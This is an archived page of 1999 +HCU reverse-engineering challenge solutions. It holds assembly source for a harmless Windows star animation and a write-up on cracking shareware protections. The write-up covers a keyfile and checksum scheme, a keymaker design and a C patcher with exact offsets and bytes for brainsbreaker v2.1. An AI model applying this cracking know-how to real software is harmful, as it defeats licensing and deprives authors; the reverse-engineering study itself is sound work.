wcClassName dd ? ; lpszClassName

WNDCLASS ENDS

MF_SEPARATOR = 0800h

MF_STRING = 0000h

MF_POPUP = 0010h

MF_END = 0080h ; end of menu template

; Window messages

WM_CREATE = 0001h

WM_DESTROY = 0002h

WM_PAINT = 000Fh

WM_TIMER = 0113h

WM_COMMAND = 0111h

WM_LBUTTONDOWN = 0201h

; Window styles

WS_OVERLAPPED = 0

WS_CAPTION = 00C00000h

WS_THICKFRAME = 00040000h

WS_SYSMENU = 00080000h

http://www.instinct.org/fravia/99solu/spatcom.htm (44 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

WS_MINIMIZEBOX = 00040000h

WS_MAXIMIZEBOX = 00020000h

WS_VISIBLE = 10000000h

WS_OVERLAPPEDWINDOW = WS_OVERLAPPED or WS_CAPTION or WS_THICKFRAME or \

WS_SYSMENU or WS_MINIMIZEBOX or WS_MAXIMIZEBOX

WS_EX_RIGHTSCROLLBAR = 0 ; scrollbar on right or bottom

WS_EX_LEFT = 0 ; left alignment

WS_EX_LTRREADING = 0 ; left-to-right reading

SRCCPY = 00CC0020h

; define prototypes (since chal2 I read NetWalker code :) )

CreateSolidBrush PROCDESC WINAPI :DWORD

CreatePen PROCDESC WINAPI :DWORD, :DWORD, :DWORD

SelectObject PROCDESC WINAPI :DWORD, :DWORD

Ellipse PROCDESC WINAPI :DWORD, :DWORD, :DWORD, :DWORD, :DWORD

MoveToEx PROCDESC WINAPI :DWORD, :DWORD, :DWORD, :DWORD

LineTo PROCDESC WINAPI :DWORD, :DWORD, :DWORD

BitBlt PROCDESC WINAPI :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, \

:DWORD, :DWORD, :DWORD, :DWORD

MessageBoxA PROCDESC WINAPI :DWORD, :DWORD, :DWORD, :DWORD

FloodFill PROCDESC WINAPI :DWORD, :DWORD, :DWORD, :DWORD

Rectangle PROCDESC WINAPI :DWORD, :DWORD, :DWORD, :DWORD, :DWORD

PostQuitMessage PROCDESC WINAPI :DWORD

DeleteObject PROCDESC WINAPI :DWORD

DeleteDC PROCDESC WINAPI :DWORD

ExitProcess PROCDESC WINAPI :DWORD

GetDC PROCDESC WINAPI :DWORD

http://www.instinct.org/fravia/99solu/spatcom.htm (45 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

ReleaseDC PROCDESC WINAPI :DWORD, :DWORD

GetMessageA PROCDESC WINAPI :DWORD, :DWORD, :DWORD, :DWORD

DispatchMessageA PROCDESC WINAPI :DWORD

BeginPaint PROCDESC WINAPI :DWORD, :DWORD

EndPaint PROCDESC WINAPI :DWORD, :DWORD

LoadCursorA PROCDESC WINAPI :DWORD, :DWORD

CreateCompatibleDC PROCDESC WINAPI :DWORD

CreateCompatibleBitmap PROCDESC WINAPI :DWORD, :DWORD, :DWORD

GetModuleHandleA PROCDESC WINAPI :DWORD

RegisterClassA PROCDESC WINAPI :DWORD

LoadMenuIndirectA PROCDESC WINAPI :DWORD

; this one is clearer this way

extrn CreateWindowExA:proc

; no argument for these one

extrn GetTickCount:proc
extrn DefWindowProcA:proc

.data

; local window

msgbuffer MSG <>

wc WNDCLASS <0,MainWndProc,0,0,0,0,0,2,0,szClassName>

wndPaintStruct PAINTSTRUCT <>

; Handles

http://www.instinct.org/fravia/99solu/spatcom.htm (46 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

appInst dd 0 ; hInstance of application module

appMenu dd 0 ; hMenu of application window menu

wndDC dd 0 ; hDC of window client area

bmpDC dd 0 ; hDC of bitmap "canvas"

bmpH dd 0 ; handle to bitmap

bmpPrev dd 0 ; handle to original bitmap assigned to bmpDC

bmpBrush1 dd 0 ; handle to first brush for bitmap DC

wndColorBrush dd 0 ; handle to solid brush for window color

hWhitePen dd 0 ; handles of pens

hDarkPen dd 0

hLightPen dd 0

hBlackPen dd 0

hWhiteBrush dd 0 ; handles of brushes

hDarkBrush dd 0

hLightBrush dd 0

; Menu templates

IDM_EXIT equ 101

IDM_HELP equ 901

IDM_ABOUT equ 902

appMenuTemplate dw 0 ; menu template version

dw 0 ; offset from end of header to menu item list

dw MF_STRING or MF_POPUP

dw '&','F','i','l','e',0

dw MF_STRING or MF_END,IDM_EXIT

http://www.instinct.org/fravia/99solu/spatcom.htm (47 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

dw 'E','&','x','i','t',0

dw MF_STRING or MF_POPUP or MF_END

dw '&','H','e','l','p',0

dw MF_STRING,IDM_HELP

dw '&','H','e','l','p','.','.','.',0

dw MF_SEPARATOR,0

dw 0

dw MF_STRING or MF_END,IDM_ABOUT

dw '&','A','b','o','u','t','.','.','.',0

; auxiliary window class information

szClassName db 'Window03',0

; miscellaneous string data

appCaption db 'Star Truc v 0.01',0

helpCaption equ appCaption

helpText db 'Just click in the window',0Dh,0Ah

db 'to make stars...',0

aboutCaption db 'About Star Truc',0

aboutText db 'Coded by Spath for +HCU strainer 1999.',0Dh,0Ah

db 'based on code by Henri S. Takeuchi.',0

; graphical datas

DARK_COLOR equ 00B94264h ; color of largest ellipse

LIGHT_COLOR equ 00FFE010h ; color of middle ellipse

http://www.instinct.org/fravia/99solu/spatcom.htm (48 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

SIDE_CROSS_NB equ 2 ; number of side crosses per bitmap

ELLIPSE_GAP equ 2 ; distance between two ellipses

PreviousPoint dd 0,0 ; previous X and Y value

SmallCrossSize dd 4,4 ; small crosses height & width

; main cross height & width

CrossSize dd 5,2,8,4,12,7,16,9,20,12,16,9,12,7,8,4,5,2,0,0

; ellipse height & width values

EllipseSize dd 0,0,4,2,8,5,12,8,16,10,12,8,10,5,4,2,0,0,0,0

Index dd 0 ; pointer for main cross and main ellipse sizes

EllipseIndex dd 0 ; pointer for the two small ellipses sizes

SideCounter dd 0 ; counter of little stars

PosX dd 0 ; X value of the left-button click

PosY dd 0 ; Y value of the left-button click

.code

;--------------------------------------------------------------------------

; This is where the program starts.

_start:

call GetModuleHandleA,0 ; get hmod (in eax)

mov [appInst],eax ; HINSTANCE is the same as HMODULE in Win32

; Complete the WNDCLASS structure.

mov [wc.wcInstance],eax

call LoadCursorA, 0, 32512

http://www.instinct.org/fravia/99solu/spatcom.htm (49 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

mov [wc.wcCursor],eax

; Create and display our window.

call RegisterClassA, offset wc ; returns ATOM, 0 = error

call LoadMenuIndirectA, offset appMenuTemplate

mov [appMenu],eax

; Create colors

call CreatePen, 0, 1, 0 ; create black tools

mov [hBlackPen], eax

xor eax, eax

call CreateSolidBrush, eax

mov [wndColorBrush],eax

call CreatePen, 0, 1, 00FFFFFFh ; create white tools

mov [hWhitePen], eax

call CreateSolidBrush, 00FFFFFFh

mov [hWhiteBrush], eax

call CreatePen, 0, 1, DARK_COLOR ; create dark tools

mov [hDarkPen], eax

call CreateSolidBrush, DARK_COLOR

mov [hDarkBrush], eax

http://www.instinct.org/fravia/99solu/spatcom.htm (50 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

call CreatePen, 0, 1, LIGHT_COLOR ; create light tools

mov [hLightPen], eax

call CreateSolidBrush, LIGHT_COLOR

mov [hLightBrush], eax

; Create window

push large 0 ; lpParam

push [appInst] ; hInstance

push [appMenu] ; menu hmenu

push large 0 ; parent hwnd

push large 200 ; height

push large 200 ; width

push large 100 ; y

push large 100 ; x

push large (WS_OVERLAPPEDWINDOW or WS_VISIBLE) ; Style

push offset appCaption ; Window text (caption)

push offset szClassName ; Class name

push large (WS_EX_LEFT or WS_EX_LTRREADING \

or WS_EX_RIGHTSCROLLBAR) ; extended style

call CreateWindowExA

; Process messages, quit when WM_QUIT received.

msg_loop:

call GetMessageA, offset msgbuffer, 0, 0, 0

http://www.instinct.org/fravia/99solu/spatcom.htm (51 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

or eax,eax

je end_loop ; WM_QUIT message

call DispatchMessageA, offset msgbuffer

jmp msg_loop

; Terminate program.

end_loop:

call ExitProcess, [msgbuffer.msgWparam]

;----------------------------------------------------------------

; The window procedure...where messages for one class of windows

; are processed.

MainWndProc:

mov eax,[esp+8] ; message ID

cmp eax,WM_PAINT ; from Windows

je paint_client

cmp eax,WM_COMMAND ; from menu, accelerator, or control

je execute_command

cmp eax,WM_LBUTTONDOWN ; mouse button has been pressed

je LeftMouseDown

cmp eax,WM_CREATE ; window created, about to show it

je creating_window

cmp eax,WM_DESTROY ; about to start window destruction

je start_destroy

jmp DefWindowProcA ; delegate other message processing

http://www.instinct.org/fravia/99solu/spatcom.htm (52 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

; Process WM_COMMAND.

execute_command:

mov eax,[esp+12] ; wParam

and eax,large 0FFFFh ; command ID

cmp eax,IDM_EXIT ; test exit command

je exit_command

cmp eax,IDM_HELP ; test help command

je help_command

cmp eax,IDM_ABOUT ; test about command

je about_command

xor eax,eax ; none of these

ret 16

exit_command: ; exit command : quit

call PostQuitMessage, 0

xor eax,eax

ret 16

help_command: ; help command : display help box

mov eax,[esp+4]

call MessageBoxA, eax, offset helpText, offset helpCaption, 0

xor eax,eax

ret 16

about_command: ; about command : display about box

mov eax,[esp+4]

http://www.instinct.org/fravia/99solu/spatcom.htm (53 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

call MessageBoxA, eax, offset aboutText, offset aboutCaption, 0

xor eax,eax

ret 16

; Process WM_PAINT. Some part of the client area needs to be (re)painted.

paint_client:

mov eax,[esp+4] ; hwnd

call BeginPaint, eax, offset wndPaintStruct

call BitBlt, eax, 0, 0, MAX_BMP_WIDTH, MAX_BMP_HEIGHT, \

[bmpDC], 0, 0, SRCCPY

mov eax,[esp+4] ; hwnd

call EndPaint, eax, offset wndPaintStruct

xor eax,eax

ret 16

;- - - - - - - - - - - - - - - - - - - - - - - - - - -

; Process WM_LBUTTONDOWN. Left mouse button has been pressed.

; (here start the code which create stars)

LeftMouseDown:

mov esi, offset CrossSize ; start of main cross sizes array

mov edi, offset EllipseSize ; start of big ellipse size array

add esi, Index ; calculate new cross size

add edi, Index ; calculate new ellipse size

call BasicStep ; display the cross + 3 ellipses

call SmallDelay ; wait a little bit

http://www.instinct.org/fravia/99solu/spatcom.htm (54 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

call ClearScreen ; clear the screen

mov esi, offset CrossSize

add esi, Index

cmp esi, (offset EllipseSize)-8 ; is it finished ?

jge EndLeftMouseDown ; yes : exit

add Index, 8 ; no : prepare next step

jmp LeftMouseDown

EndLeftMouseDown:

call DisplayBitmap ; clear screen

mov Index, 0

xor eax,eax

ret 16

; ------------ Graphical Procedures and functions ---------------------

; BasicStep procedure : each step of the animation is computed here

BasicStep proc near

call GetDC, dword ptr [esp+8]

mov [wndDC],eax ; hDC for window

ComputeEllipses:

call SelectObject, [bmpDC], [hDarkBrush]

call SelectObject, [bmpDC], [hDarkPen]

mov EllipseIndex, 0

mov dx,[esp+22] ; HIWORD(lParam) = y

mov eax,[esp+20] ; LOWORD(lParam) = x

and edx,large 0FFFFh ; dx = y pos

http://www.instinct.org/fravia/99solu/spatcom.htm (55 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

and eax,large 0FFFFh ; ax = x pos

mov PosX, eax ; save origin

mov PosY, edx

call DrawEllipse ; draw dark ellipse

cmp dword ptr [edi],4 ; can we draw more ellipses

jle ComputeCross ; no

call SelectObject, [bmpDC], [hLightBrush]

call SelectObject, [bmpDC], [hDarkPen]

mov EllipseIndex, ELLIPSE_GAP

call DrawEllipse ; draw light ellipse

call SelectObject, [bmpDC], [hWhiteBrush]

call SelectObject, [bmpDC], [hWhitePen]

mov EllipseIndex, 2*ELLIPSE_GAP

call DrawEllipse ; draw white ellipse

ComputeCross:

call SelectObject, [bmpDC], [hWhitePen]

call DrawCross ; draw the cross

ComputeSideShow:

cmp Index, 48 ; should we add sideshow

jl DisplayAll ; not so soon

call SideShow ; add sideshow

DisplayAll:

http://www.instinct.org/fravia/99solu/spatcom.htm (56 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

call DisplayBitmap ; display the bitmap

call ReleaseDC, dword ptr [esp+8], [wndDC]

ret

BasicStep endp

; DrawCross procedure : draw a cross centered on (ax,dx) and of

; size 2*(esi+4, esi)

DrawCross proc near

pusha

mov eax, PosX ; get origin

mov edx, PosY

mov dword ptr [PreviousPoint], eax

mov dword ptr [PreviousPoint+4], edx

sub eax,dword ptr [esi+4]

Call MoveToEx, [bmpDC], eax, edx, 0 ; set cursor

mov eax, dword ptr[PreviousPoint]

add eax, dword ptr [esi+4]

Call LineTo, [bmpDC], eax, [PreviousPoint+4] ; draw horiz. line

mov edx, dword ptr [PreviousPoint+4]

sub edx, dword ptr [esi]

Call MoveToEx, [bmpDC], [PreviousPoint], edx, 0 ; set cursor

mov edx, dword ptr[PreviousPoint+4]

add edx, dword ptr [esi]

Call LineTo, [bmpDC], [PreviousPoint], edx ; draw vert. line

http://www.instinct.org/fravia/99solu/spatcom.htm (57 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

popa

ret

DrawCross endp

; DrawEllipse procedure : draw an ellipse centered on (ax,dx)

; and of size 2*(edi+4,edi)

DrawEllipse proc near

pusha

mov eax, PosX ; get origin

mov edx, PosY

mov ebx, eax ; save x pos

mov ecx, edx ; save y pos

add edx, dword ptr [edi]

add eax, dword ptr [edi+4]

sub eax, EllipseIndex ; down right X value

sub edx, EllipseIndex ; down right Y value

sub ecx, dword ptr [edi]

add ecx, EllipseIndex ; top left Y value

sub ebx, dword ptr [edi+4]

add ebx, EllipseIndex ; top left X value

call Ellipse, [bmpDC], ebx, ecx, eax, edx

popa

ret

DrawEllipse endp

; SideShow procedure : when the main star is disappearing, little

http://www.instinct.org/fravia/99solu/spatcom.htm (58 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

; stars must appear.

SideShow proc near

pusha

mov eax, PosX ; get origin

mov edx, PosY

sub eax, dword ptr [CrossSize+36] ; set X origin of side show

sub edx, dword ptr [CrossSize+32] ; set Y origin of side show

mov PosY, edx ; save Y origin

mov PosX, eax ; save X origin

mov dword ptr [SideCounter], SIDE_CROSS_NB

SideLoop:

xor eax,eax ; choose color

in al, 40h

cmp al, 30h

jl WhiteOne

call SelectObject, [bmpDC], [hLightPen] ; light cross

jmp GoOn

WhiteOne:

call SelectObject, [bmpDC], [hWhitePen] ; white cross

GoOn:

dec dword ptr [SideCounter]

mov ebx, PosX ; get X origin

mov edx, PosY ; get Y origin

xor eax,eax

in al,40h

and al,17h

add edx,eax ; add random value to Y

http://www.instinct.org/fravia/99solu/spatcom.htm (59 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

in al,40h

and al,0Fh

add eax,ebx ; add random value to X

mov PosX, eax

mov PosY, edx

mov esi, offset SmallCrossSize

call DrawCross

cmp [SideCounter], 0

jne SideLoop

popa

ret

SideShow endp

; DisplayBitmap procedure : display bmpDC in wndDC

DisplayBitmap proc near

call BitBlt, [wndDC], 0, 0, MAX_BMP_WIDTH, MAX_BMP_HEIGHT, \

[bmpDC], 0, 0, SRCCPY

ret

DisplayBitmap endp

; ClearScreen procedure : just paint a big black rectangle

ClearScreen proc near

pusha

call SelectObject, [bmpDC], [wndColorBrush] ; black pen

http://www.instinct.org/fravia/99solu/spatcom.htm (60 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

call SelectObject, [bmpDC], [hBlackPen] ; black brush

call Rectangle, [bmpDC], 0, 0, MAX_BMP_WIDTH-1, \

MAX_BMP_HEIGHT+25-1

popa

ret

ClearScreen endp

; SmallDelay procedure : just to wait a bit between 2 bitmaps

SmallDelay proc near

pusha

call GetTickCount ; get initial value

mov ebx, eax

add ebx, 0020h ; calculate end value

WaitLoop:

call GetTickCount ; wait until we reach end value

cmp eax, ebx

jle WaitLoop

popa

ret

SmallDelay endp

;-----------------------------------------------------------

; Process WM_CREATE.

creating_window:

call GetDC, dword ptr [esp+4+0]

mov [wndDC],eax ; hDC for window

http://www.instinct.org/fravia/99solu/spatcom.htm (61 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

call CreateCompatibleDC, eax ; create "canvas" DC

mov [bmpDC],eax

call CreateCompatibleBitmap, [wndDC], MAX_BMP_WIDTH, \

MAX_BMP_HEIGHT+25 ; create canvas

mov [bmpH],eax

call SelectObject, [bmpDC], eax ; bind canvas to DC

mov [bmpPrev],eax ; save original bmp (canvas)

call Rectangle, [bmpDC], 0, 0, MAX_BMP_WIDTH-1, \

MAX_BMP_HEIGHT+25-1

call CreateSolidBrush, 0

mov [wndColorBrush],eax

call SelectObject, [bmpDC], eax ; replace brush

mov [bmpBrush1],eax ; save original brush

call FloodFill, [bmpDC], 0, 0, 0 ; clear background

call FloodFill, [bmpDC], 1, 1, 0

call SelectObject, [bmpDC], [bmpBrush1] ; restore brush

call ReleaseDC, dword ptr [esp+4], [wndDC] ; release DC

xor eax,eax

ret 16

http://www.instinct.org/fravia/99solu/spatcom.htm (62 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

; Process WM_DESTROY.

start_destroy:

call SelectObject, [bmpDC], [bmpBrush1] ; restore original brush

call DeleteObject, [wndColorBrush] ; delete our brushes

call DeleteObject, [hWhiteBrush]

call DeleteObject, [hLightBrush]

call DeleteObject, [hDarkBrush]

call DeleteObject, [hWhitePen] ; delete our pens

call DeleteObject, [hBlackPen]

call DeleteObject, [hLightPen]

call DeleteObject, [hDarkPen]

call SelectObject, [bmpDC], [bmpPrev] ; restore original bitmap

call DeleteObject, eax ; delete our canvas

call DeleteDC, [bmpDC] ; delete canvas DC

call PostQuitMessage, 0

xor eax,eax

ret 16

end _start

----------------------------------------------------------------------------

Greetings : - Henry S. Takeuchi (Htak) and NetWalker, for good usage of TASM
- Earl Gray, who helped me to work so late.

http://www.instinct.org/fravia/99solu/spatcom.htm (63 of 63) [2/7/2001 2:58:36 PM]


jazzcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

#------------------------------------------------------------------------------#
# - Challenge #1 - #
# by JaZZ #
#------------------------------------------------------------------------------#

Contents:
1) Localisation of the protection
2) Analysis
3) The keymaker

#------------------------------------------------------------------------------#

1) Localisation.

To work efficiently on this target, I've used Softice 2.80 for dos, and IDA 3.7,
which seems to be the only disassembler beeing (by far) able to produce a
meaningful listing that you can use in conjunction with softice. Well, there
are no anti-debuging tricks as soon as you start softice ! I suppose these
one were supposed to be the use of overlays but IDA treats them quite right as
well.
We know that the babe needs a file to reg right so we just BPINT 21 ah=3D to
break whenever a file is opened. The second time Sice pops, ds:dx points to a
"terminat.key" string. Ok, this is the name. We then just create a bogus
terminat.key file, then BPINT 21 ah=3F to break on the reading. And we land
smack into it. In Ida it's referenced as ovr018.

2) Analysis of the scheme.

I've provided a COMMENTED (with some vars renamed, please have a look...)listing
of the interesting part of overlay 18, to clarify my explanations, but i suppose
the reader has figured out how all this works :-) First the key file is divided
into 0B buffers of each 162h bytes long. The file must then be at least
162*B=F36 bytes long. There are several levels of
protection in this scheme. Let's examine the first.

a) A loop is reading all the buffers of the keyfile, and performs a global
checksum (through a dedicated function) on bytes [0,15D] of each one. The 2 last
words in each buffer (15E to 161) are either a checksum (local to this buffer or
global to the whole file) , or are not checked at all. It can be noted that the
checksum function actually uses a 1024 bytes area to perform its job (that's why
i've been forced to hardcode it in the keymaker). When the reading has been
achieved the resultant checksum is matched against the bytes 15E->161 of the
last 0B buffer. If the 2 words don't match, you are kicked off. During this
first loop, the author also tries to detect cracked terminat.key files. To
achieve this, he only checks constant patterns that always occur at the same
place in cracked files:

1)First buffer: cracked file if chars at positions B,1B,14 are respectively


equal to 'F','/',and '.'

2)Second buffer: cracked file if first five characters are equal.

3)0B buffer: cracked file if bytes 12C to 130 are equal OR if [15A,15D]= "_d+"
(ie DC 64 D9 E9)

http://www.instinct.org/fravia/99solu/jazzcom.htm (1 of 12) [2/7/2001 2:58:43 PM]


jazzcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

If the program detects a cracked key, either it fills the general checksum with
bogus, or it displays a message saying you're using an anauthorized key file.
Anyway, it won't reg. To prevent the program from matching succesfully, i just
fill all the terminat.key with random at the beginning (the random generator is
the one used by terminat itself, seeded with the clock), and then put the
interesting data over it. It'll ensure that even for the SAME user input, a lot
of bytes will be different in the final keyfile. This will work as long as the
author doesn't check some "required" bytes !
-----------------------
b) the second part of the protection is dealing with the fourth buffer,
involving bytes from 5B to 161. Besides, the user input is encrypted in here.
The program will xor the whole area with FF at first. After it does the same
four times again, with a different xoring value each time. This value is
calculated by some kind of "random generator", seeded with defined DWORDS (not
really random then...). At the end of this process, the area is fully decrypted.
A new checksum then occurs onto this area, involving the same algo described in
a) : checksumming [5B,161] and comparing to the word in 15E. One more occasion
to be eventually rejected. If not the work is not done still: now you've got to
face the TERRIBLE integrity check call: though you may have gone through all the
previous doors, this call can enter a unfinite loop, or even worse crash the
PC while beeping continuously (apart from this, why this integrity check is
going backwards on the file ? a mystery). I summarize here quite a lot of work:
what is important are the parameters pushed before the call. Three of them are
interesting.

0D67 mov cx, ss:[di+FEDE] ; this is computed with


0D6C mov si, ss:[di+FEE0] ; the checksum of #5 buffer
0D71 mov di, ss:[di+FEE2]
0D76 call sub_1708_1707 ;-------> this time it MUST give ZERO
0D7B jnz set_a_fucking_mess
A detail I didn't notice at first was the calculation that was performed with
the two last bytes of 5th buffer. Finally the result of this calculus is in
FEDE FEE0 FEE2. If the call above doesn't return z on (it compares aldxbx with
clsidi), this nasty prog messes every parameters that'll be pushed, leading to
the unfinite loop. Ok, this is, I think, the real difficult part of the scheme:
find the last two words of 5th buffer. The first idea that came to me was to
put the SAME checksum in the 5th than the one calculated for 4th. buffer. When
tracing with sice you see that both follow the same transformation algo, except
for this:

[FEDE,FEE2] holds the algo result for #5 buf.


[FED8,FEDC] "" "" "" """ for #4 buf.

0D48 mov ax, ss:[di+FED8]


0D4D mov bx, ss:[di+FEDA]
0D52 mov dx, ss:[di+FEDC]
0D57 mov cx, 84h ; ''
0D5A xor si, si
0D5C mov di, 2000h
0D5F call sub_1708_16EB

and then it's compared (see above). when returning, bx is lowered by 28h &
that's all. Putting then the same checksum for the two fails because of this
difference. So we'll have to find a checksum for 5th that through calculation

http://www.instinct.org/fravia/99solu/jazzcom.htm (2 of 12) [2/7/2001 2:58:43 PM]


jazzcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

gives [FEDA]-28h. Now this seems quite a laborious task, but is not really, if
you remark that lowering [15E] by 1 lowers the [FFE0] by 4. It's fully linear.
To lower the final result by 40 (=28h), we'll only have to take the [15E] word
of the 4th buffer, lower it by Oa, and put the result in [15E] in 5th buf.

3) the keymaker.
One more thing we'll have to find is how the user's personal info is stored in
the key file. To achieve this, i simply cracked terminate.exe to allow every
bogus file (with the sufficient nbr of bytes) to be a valid one. I won't discuss
that much as there's only 3 or 4 bytes to change, and we don't want to patch
it! Pressing ALT O in the program displays all the user info. All the info is
stored in 4th buffer, at these positions (with sice you go on the decrypting
process until you find the bogus displayed by ALT O):
[7A]=name length
[7B-AB]=name
[AD]=adress length
[AE-DE]=adress
[E0]=city length
[E1-E11]=city
[113]=country length
[114-144]=country

To realize the keymaker, we just follow the process the author uses in backwards
direction (the listing is fully commented)
- get user input with dos function.
- initialize the area in memory with random.
- copy the user data at the right
place.
- put a correct checksum in 4th buf and then deduct the one for 5th as explained
above.
- xoring the 4th buf succesively with 4 distinct values
- performing the global checksum on all the buffers and putting the result in
the right place of the last one.
#------------------------------------------------------------------------------#

#------------------------------------------------------------------------------#
# - Challenge #2 - #
# by JaZZ #
#------------------------------------------------------------------------------#

I choose to code the patcher in C. The compiler i've used is Borland C++ 4.52.
(Thanks fravia for the info of "quasi free" release from pc plus). The exe
length is about 30K, which is not tiny, maybe this is the reason why almost
patchers are DOS based ;-), although less functionnal. I choose to add two
features to mine,that is:
1- The ability to patch at multiple locations. Well the experience proofs it's
useful.
2- The possibility to make a backup of the original file. The exe will be
renamed as ".bak".

I think the listing is self-explanatory enough, the only things required are:

long length= 593920; /* size of the file to be patched in bytes */


char *prgnam="bbrk32.exe"; /* name of the file to be patched */

http://www.instinct.org/fravia/99solu/jazzcom.htm (3 of 12) [2/7/2001 2:58:43 PM]


jazzcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

int how_many=3; /* number of patches to be applied */


int sizes[]={1,1,3}; /* size of each one in bytes */
long offset[]= { 0x403B6,0x45226,0x6A07D }; /* offset of each patch */
unsigned char patch[]={0x33,0xEB,0x6A,0x01,0x5a}; /* the bytes of the
patches, one
after the other */
The program will put 33 at offet403B6
EB at 45226
6A,01,5A at 6A07D

Before patching, i only check the size which in most of the cases is enough to
differentiate between versions of the target. Backing up the file (if selected)
is a quite easy using the CopyFile function.
I provided an example for patching brainsbreaker v2.1. If you want to compile,
don't forget to set the target to win32 and libraries to static.

#------------------------------------------------------------------------------#

#------------------------------------------------------------------------------#
# - Challenge #3 - #
# by JaZZ #
#------------------------------------------------------------------------------#

The program has several levels of protection:


1- integrity check.
2- no trivial access to registration menu.
3- no trivial comparison between serials.
4- "vital" strings are encrypted.
5- "Hidden" protection features.

This is, apart from the game itself which is imo very well designed (good
windoze progs are not so frequent !), quite a good protection, for a high level
language program. Hope that having included it in the strainer won't do any harm
to that guy as he's capable. Back to the topic. The 5th category is quite
unfair: for example you can't load a puzzle that's been created in another PC
with the program unregistered on it. May be there are several tricks of that
kind, i discovered this only one when showing the game a colleague at work, as
he tried to send me a puzzle by the network. As I said, cracking it is all the
more interesting as there ain't ANY "wide open doors" where you can get through.
Disassembling it with wdasm is ok, but the strings references lead to nothing
vital: the "Demo" references only the background of the image. You can disable
it, it won't reg the program. Furthermore this nasty author made a great "pied
de nez" to all crackers as he managed (i may be wrong, but i've never seen that
before ;-) to associate his name & copyright to every 00000001 that appears in
the listing. Well done Mr Trujillos, 1 to 0, we'll see your damned name at least
a thousand times, but we're not dead though. Of course you can remove them with
your editor, but dont try to use wdasm after as it'll be fooled. Anyway it's
only a detail. Our tools will be Softice and Wdasm, as usual.

-------------------

1) At first let's access the registration process. It can be a box, or a file


that you are emailed with for example. Checking the file accesses with filemon
doesn't show anything suspicious, it must be a box triggered by a special

http://www.instinct.org/fravia/99solu/jazzcom.htm (4 of 12) [2/7/2001 2:58:43 PM]


jazzcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

keystroke. Let's call it zen or anything else (non academic approach...), I


tried every function key combined with alt,ctrl etc...and CTRL F8 triggered it.
Pack, name, id, key, nothing less than 4 fields to fill. At this point i
recalled that the challenge was to explain the scheme, NOT to make a keygen so i
didn't delve into "serial" manipulation and tracking at this moment, supposing
this guy clever enough to have used a heavy encryption process. So where to
start then? A very uncommon idea: let's type in some bogus stuff. We get a very
common messagebox "Seems that the data etc....". Ok. With Sice you discover the
main "registration box" routine (i dump just the end):

:0046B455 E89BB6FEFF call 00456AF5 ---> check what you entered


:0046B45A 8BF8 mov edi, eax
:0046B45C 85FF test edi, edi
:0046B45E 0F8585000000 jne 0046B4E9 ----> if eax!=0 you get out of
the loop
:0046B464 837DFC00 cmp dword ptr [ebp-04], 00000000
:0046B468 752D jne 0046B497 ---> it was bogus, go to
messagebox
:0046B46A C745FC01000000 mov [ebp-04], 00000001
:0046B471 6A02 push 00000002
:0046B473 8D45C4 lea eax, dword ptr [ebp-3C]
:0046B476 50 push eax
:0046B477 E88F9CFAFF call 0041510B
:0046B47C 6A02 push 00000002
:0046B47E 8D55DC lea edx, dword ptr [ebp-24]
:0046B481 52 push edx
:0046B482 E8849CFAFF call 0041510B
:0046B487 6A02 push 00000002
:0046B489 8D4DF0 lea ecx, dword ptr [ebp-10]
:0046B48C 51 push ecx
:0046B48D E8799CFAFF call 0041510B
:0046B492 E968FDFFFF jmp 0046B1FF ---> give it a try again!

; error: messagebox
:0046B497 83C4FC add esp, FFFFFFFC
:0046B49A 66C704242E02 mov word ptr [esp], 022E -> index for
"Seems that the data..."
:0046B4A0 E803E8FCFF call 00439CA8
:0046B4A5 50 push eax
:0046B4A6 FF35D4974800 push dword ptr [004897D4]
:0046B4AC 6810200000 push 00002010
:0046B4B1 53 push ebx
:0046B4B2 E8676CFBFF call 0042211E -> call messageboxa
:0046B4B7 837DF800 cmp dword ptr [ebp-08], 00000000
:0046B4BB 7507 jne 0046B4C4
:0046B4BD BF7C150000 mov edi, 0000157C
:0046B4C2 EB05 jmp 0046B4C9

-------------------

2) Up to this point you can either enter the 456AF5 routine, i didn't do it at
first as i was believing a lot of calls were involved. Infortunately it wasn't
true, and sure it would have been easier to look closer at this snippet, BUT
things always look easy once you've understand. That's why I tried another
direction. I just wanted to follow this idea to proof that with just a little

http://www.instinct.org/fravia/99solu/jazzcom.htm (5 of 12) [2/7/2001 2:58:43 PM]


